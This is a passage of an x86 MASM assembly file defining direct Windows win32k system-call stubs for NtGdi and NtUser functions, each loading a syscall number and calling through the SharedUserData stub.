4323 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiGradientFill ENDP ; ULONG __stdcall NtGdiHfontCreate( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiHfontCreate PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4324 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiHfontCreate ENDP ; ULONG __stdcall NtGdiIcmBrushInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtGdiIcmBrushInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4325 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtGdiIcmBrushInfo ENDP ; ULONG __stdcall bInitRedirDev( ); bInitRedirDev PROC STDCALL mov eax , 4326 mov edx , 7FFE0300h call dword ptr [edx] ret bInitRedirDev ENDP ; ULONG __stdcall NtGdiInitSpool( ); NtGdiInitSpool PROC STDCALL mov eax , 4327 mov edx , 7FFE0300h call dword ptr [edx] ret NtGdiInitSpool ENDP ; ULONG __stdcall NtGdiIntersectClipRect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiIntersectClipRect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4328 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiIntersectClipRect ENDP ; ULONG __stdcall NtGdiInvertRgn( ULONG arg_01 , ULONG arg_02 ); NtGdiInvertRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4329 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiInvertRgn ENDP ; ULONG __stdcall NtGdiLineTo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiLineTo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4330 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiLineTo ENDP ; ULONG __stdcall NtGdiMakeFontDir( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiMakeFontDir PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4331 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiMakeFontDir ENDP ; ULONG __stdcall NtGdiMakeInfoDC( ULONG arg_01 , ULONG arg_02 ); NtGdiMakeInfoDC PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4332 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiMakeInfoDC ENDP ; ULONG __stdcall NtGdiMaskBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 ); NtGdiMaskBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD mov eax , 4333 mov edx , 7FFE0300h call dword ptr [edx] ret 52 NtGdiMaskBlt ENDP ; ULONG __stdcall NtGdiModifyWorldTransform( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiModifyWorldTransform PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4334 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiModifyWorldTransform ENDP ; ULONG __stdcall NtGdiMonoBitmap( ULONG arg_01 ); NtGdiMonoBitmap PROC STDCALL arg_01:DWORD mov eax , 4335 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiMonoBitmap ENDP ; ULONG __stdcall NtGdiMoveTo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiMoveTo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4336 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiMoveTo ENDP ; ULONG __stdcall NtGdiOffsetClipRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiOffsetClipRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4337 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiOffsetClipRgn ENDP ; ULONG __stdcall NtGdiOffsetRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiOffsetRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4338 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiOffsetRgn ENDP ; ULONG __stdcall NtGdiOpenDCW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtGdiOpenDCW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4339 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtGdiOpenDCW ENDP ; ULONG __stdcall NtGdiPatBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiPatBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4340 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiPatBlt ENDP ; ULONG __stdcall NtGdiPolyPatBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiPolyPatBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4341 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiPolyPatBlt ENDP ; ULONG __stdcall NtGdiPathToRegion( ULONG arg_01 ); NtGdiPathToRegion PROC STDCALL arg_01:DWORD mov eax , 4342 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiPathToRegion ENDP ; ULONG __stdcall NtGdiPlgBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 ); NtGdiPlgBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD mov eax , 4343 mov edx , 7FFE0300h call dword ptr [edx] ret 44 NtGdiPlgBlt ENDP ; ULONG __stdcall NtGdiPolyDraw( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiPolyDraw PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4344 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiPolyDraw ENDP ; ULONG __stdcall NtGdiPolyPolyDraw( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiPolyPolyDraw PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4345 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiPolyPolyDraw ENDP ; ULONG __stdcall NtGdiPolyTextOutW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiPolyTextOutW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4346 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiPolyTextOutW ENDP ; ULONG __stdcall NtGdiPtInRegion( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiPtInRegion PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4347 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiPtInRegion ENDP ; ULONG __stdcall NtGdiPtVisible( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiPtVisible PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4348 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiPtVisible ENDP ; ULONG __stdcall NtGdiQueryFonts( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiQueryFonts PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4349 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiQueryFonts ENDP ; ULONG __stdcall NtGdiQueryFontAssocInfo( ULONG arg_01 ); NtGdiQueryFontAssocInfo PROC STDCALL arg_01:DWORD mov eax , 4350 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiQueryFontAssocInfo ENDP ; ULONG __stdcall NtGdiRectangle( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiRectangle PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4351 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiRectangle ENDP ; ULONG __stdcall NtGdiRectInRegion( ULONG arg_01 , ULONG arg_02 ); NtGdiRectInRegion PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4352 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiRectInRegion ENDP ; ULONG __stdcall NtGdiRectVisible( ULONG arg_01 , ULONG arg_02 ); NtGdiRectVisible PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4353 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiRectVisible ENDP ; ULONG __stdcall NtGdiRemoveFontResourceW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiRemoveFontResourceW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4354 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiRemoveFontResourceW ENDP ; ULONG __stdcall NtGdiRemoveFontMemResourceEx( ULONG arg_01 ); NtGdiRemoveFontMemResourceEx PROC STDCALL arg_01:DWORD mov eax , 4355 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiRemoveFontMemResourceEx ENDP ; ULONG __stdcall NtGdiResetDC( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiResetDC PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4356 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiResetDC ENDP ; ULONG __stdcall NtGdiResizePalette( ULONG arg_01 , ULONG arg_02 ); NtGdiResizePalette PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4357 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiResizePalette ENDP ; ULONG __stdcall NtGdiRestoreDC( ULONG arg_01 , ULONG arg_02 ); NtGdiRestoreDC PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4358 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiRestoreDC ENDP ; ULONG __stdcall NtGdiRoundRect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtGdiRoundRect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4359 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtGdiRoundRect ENDP ; ULONG __stdcall NtGdiSaveDC( ULONG arg_01 ); NtGdiSaveDC PROC STDCALL arg_01:DWORD mov eax , 4360 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiSaveDC ENDP ; ULONG __stdcall NtGdiScaleViewportExtEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiScaleViewportExtEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4361 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiScaleViewportExtEx ENDP ; ULONG __stdcall NtGdiScaleWindowExtEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiScaleWindowExtEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4362 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiScaleWindowExtEx ENDP ; ULONG __stdcall GreSelectBitmap( ULONG arg_01 , ULONG arg_02 ); GreSelectBitmap PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4363 mov edx , 7FFE0300h call dword ptr [edx] ret 8 GreSelectBitmap ENDP ; ULONG __stdcall NtGdiSelectBrush( ULONG arg_01 , ULONG arg_02 ); NtGdiSelectBrush PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4364 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiSelectBrush ENDP ; ULONG __stdcall NtGdiSelectClipPath( ULONG arg_01 , ULONG arg_02 ); NtGdiSelectClipPath PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4365 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiSelectClipPath ENDP ; ULONG __stdcall NtGdiSelectFont( ULONG arg_01 , ULONG arg_02 ); NtGdiSelectFont PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4366 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiSelectFont ENDP ; ULONG __stdcall NtGdiSelectPen( ULONG arg_01 , ULONG arg_02 ); NtGdiSelectPen PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4367 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiSelectPen ENDP ; ULONG __stdcall NtGdiSetBitmapAttributes( ULONG arg_01 , ULONG arg_02 ); NtGdiSetBitmapAttributes PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4368 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiSetBitmapAttributes ENDP ; ULONG __stdcall NtGdiSetBitmapBits( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiSetBitmapBits PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4369 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiSetBitmapBits ENDP ; ULONG __stdcall NtGdiSetBitmapDimension( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiSetBitmapDimension PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4370 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiSetBitmapDimension ENDP ; ULONG __stdcall NtGdiSetBoundsRect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiSetBoundsRect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4371 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiSetBoundsRect ENDP ; ULONG __stdcall NtGdiSetBrushAttributes( ULONG arg_01 , ULONG arg_02 ); NtGdiSetBrushAttributes PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4372 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiSetBrushAttributes ENDP ; ULONG __stdcall NtGdiSetBrushOrg( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiSetBrushOrg PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4373 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiSetBrushOrg ENDP ; ULONG __stdcall NtGdiSetColorAdjustment( ULONG arg_01 , ULONG arg_02 ); NtGdiSetColorAdjustment PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4374 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiSetColorAdjustment ENDP ; ULONG __stdcall NtGdiSetColorSpace( ULONG arg_01 , ULONG arg_02 ); NtGdiSetColorSpace PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4375 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiSetColorSpace ENDP ; ULONG __stdcall NtGdiSetDeviceGammaRamp( ULONG arg_01 , ULONG arg_02 ); NtGdiSetDeviceGammaRamp PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4376 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiSetDeviceGammaRamp ENDP ; ULONG __stdcall NtGdiSetDIBitsToDeviceInternal( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 , ULONG arg_15 , ULONG arg_16 ); NtGdiSetDIBitsToDeviceInternal PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD , arg_15:DWORD , arg_16:DWORD mov eax , 4377 mov edx , 7FFE0300h call dword ptr [edx] ret 64 NtGdiSetDIBitsToDeviceInternal ENDP ; ULONG __stdcall NtGdiSetFontEnumeration( ULONG arg_01 ); NtGdiSetFontEnumeration PROC STDCALL arg_01:DWORD mov eax , 4378 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiSetFontEnumeration ENDP ; ULONG __stdcall NtGdiSetFontXform( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiSetFontXform PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4379 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiSetFontXform ENDP ; ULONG __stdcall NtGdiSetIcmMode( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiSetIcmMode PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4380 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiSetIcmMode ENDP ; ULONG __stdcall NtGdiSetLinkedUFIs( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiSetLinkedUFIs PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4381 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiSetLinkedUFIs ENDP ; ULONG __stdcall NtGdiSetMagicColors( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiSetMagicColors PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4382 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiSetMagicColors ENDP ; ULONG __stdcall NtGdiSetMetaRgn( ULONG arg_01 ); NtGdiSetMetaRgn PROC STDCALL arg_01:DWORD mov eax , 4383 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiSetMetaRgn ENDP ; ULONG __stdcall NtGdiSetMiterLimit( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiSetMiterLimit PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4384 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiSetMiterLimit ENDP ; ULONG __stdcall NtGdiGetDeviceWidth( ULONG arg_01 ); NtGdiGetDeviceWidth PROC STDCALL arg_01:DWORD mov eax , 4385 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiGetDeviceWidth ENDP ; ULONG __stdcall NtGdiMirrorWindowOrg( ULONG arg_01 ); NtGdiMirrorWindowOrg PROC STDCALL arg_01:DWORD mov eax , 4386 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiMirrorWindowOrg ENDP ; ULONG __stdcall NtGdiSetLayout( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiSetLayout PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4387 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiSetLayout ENDP ; ULONG __stdcall NtGdiSetOPMSigningKeyAndSequenceNumbers( ULONG arg_01 , ULONG arg_02 ); NtGdiSetOPMSigningKeyAndSequenceNumbers PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4388 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiSetOPMSigningKeyAndSequenceNumbers ENDP ; ULONG __stdcall NtGdiSetPixel( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiSetPixel PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4389 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiSetPixel ENDP ; ULONG __stdcall NtGdiSetPixelFormat( ULONG arg_01 , ULONG arg_02 ); NtGdiSetPixelFormat PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4390 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiSetPixelFormat ENDP ; ULONG __stdcall NtGdiSetRectRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiSetRectRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4391 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiSetRectRgn ENDP ; ULONG __stdcall NtGdiSetSystemPaletteUse( ULONG arg_01 , ULONG arg_02 ); NtGdiSetSystemPaletteUse PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4392 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiSetSystemPaletteUse ENDP ; ULONG __stdcall NtGdiSetTextJustification( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiSetTextJustification PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4393 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiSetTextJustification ENDP ; ULONG __stdcall NtGdiSetVirtualResolution( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiSetVirtualResolution PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4394 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiSetVirtualResolution ENDP ; ULONG __stdcall NtGdiSetSizeDevice( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiSetSizeDevice PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4395 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiSetSizeDevice ENDP ; ULONG __stdcall NtGdiStartDoc( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiStartDoc PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4396 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiStartDoc ENDP ; ULONG __stdcall NtGdiStartPage( ULONG arg_01 ); NtGdiStartPage PROC STDCALL arg_01:DWORD mov eax , 4397 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiStartPage ENDP ; ULONG __stdcall NtGdiStretchBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 ); NtGdiStretchBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD mov eax , 4398 mov edx , 7FFE0300h call dword ptr [edx] ret 48 NtGdiStretchBlt ENDP ; ULONG __stdcall NtGdiStretchDIBitsInternal( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 , ULONG arg_15 , ULONG arg_16 ); NtGdiStretchDIBitsInternal PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD , arg_15:DWORD , arg_16:DWORD mov eax , 4399 mov edx , 7FFE0300h call dword ptr [edx] ret 64 NtGdiStretchDIBitsInternal ENDP ; ULONG __stdcall NtGdiStrokeAndFillPath( ULONG arg_01 ); NtGdiStrokeAndFillPath PROC STDCALL arg_01:DWORD mov eax , 4400 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiStrokeAndFillPath ENDP ; ULONG __stdcall NtGdiStrokePath( ULONG arg_01 ); NtGdiStrokePath PROC STDCALL arg_01:DWORD mov eax , 4401 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiStrokePath ENDP ; ULONG __stdcall NtGdiSwapBuffers( ULONG arg_01 ); NtGdiSwapBuffers PROC STDCALL arg_01:DWORD mov eax , 4402 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiSwapBuffers ENDP ; ULONG __stdcall NtGdiTransformPoints( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiTransformPoints PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4403 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiTransformPoints ENDP ; ULONG __stdcall NtGdiTransparentBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 ); NtGdiTransparentBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD mov eax , 4404 mov edx , 7FFE0300h call dword ptr [edx] ret 44 NtGdiTransparentBlt ENDP ; ULONG __stdcall DxgStubDvpReleaseNotification( ULONG arg_01 , ULONG arg_02 ); DxgStubDvpReleaseNotification PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4405 mov edx , 7FFE0300h call dword ptr [edx] ret 8 DxgStubDvpReleaseNotification ENDP ; ULONG __stdcall NtGdiUnmapMemFont( ULONG arg_01 ); NtGdiUnmapMemFont PROC STDCALL arg_01:DWORD mov eax , 4406 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiUnmapMemFont ENDP ; ULONG __stdcall NtGdiUnrealizeObject( ULONG arg_01 ); NtGdiUnrealizeObject PROC STDCALL arg_01:DWORD mov eax , 4407 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiUnrealizeObject ENDP ; ULONG __stdcall NtGdiUpdateColors( ULONG arg_01 ); NtGdiUpdateColors PROC STDCALL arg_01:DWORD mov eax , 4408 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiUpdateColors ENDP ; ULONG __stdcall NtGdiWidenPath( ULONG arg_01 ); NtGdiWidenPath PROC STDCALL arg_01:DWORD mov eax , 4409 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiWidenPath ENDP ; ULONG __stdcall NtUserActivateKeyboardLayout( ULONG arg_01 , ULONG arg_02 ); NtUserActivateKeyboardLayout PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4410 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserActivateKeyboardLayout ENDP ; ULONG __stdcall NtUserAddClipboardFormatListener( ULONG arg_01 ); NtUserAddClipboardFormatListener PROC STDCALL arg_01:DWORD mov eax , 4411 mov edx , 7FFE0300h call dword ptr [edx] ret 4 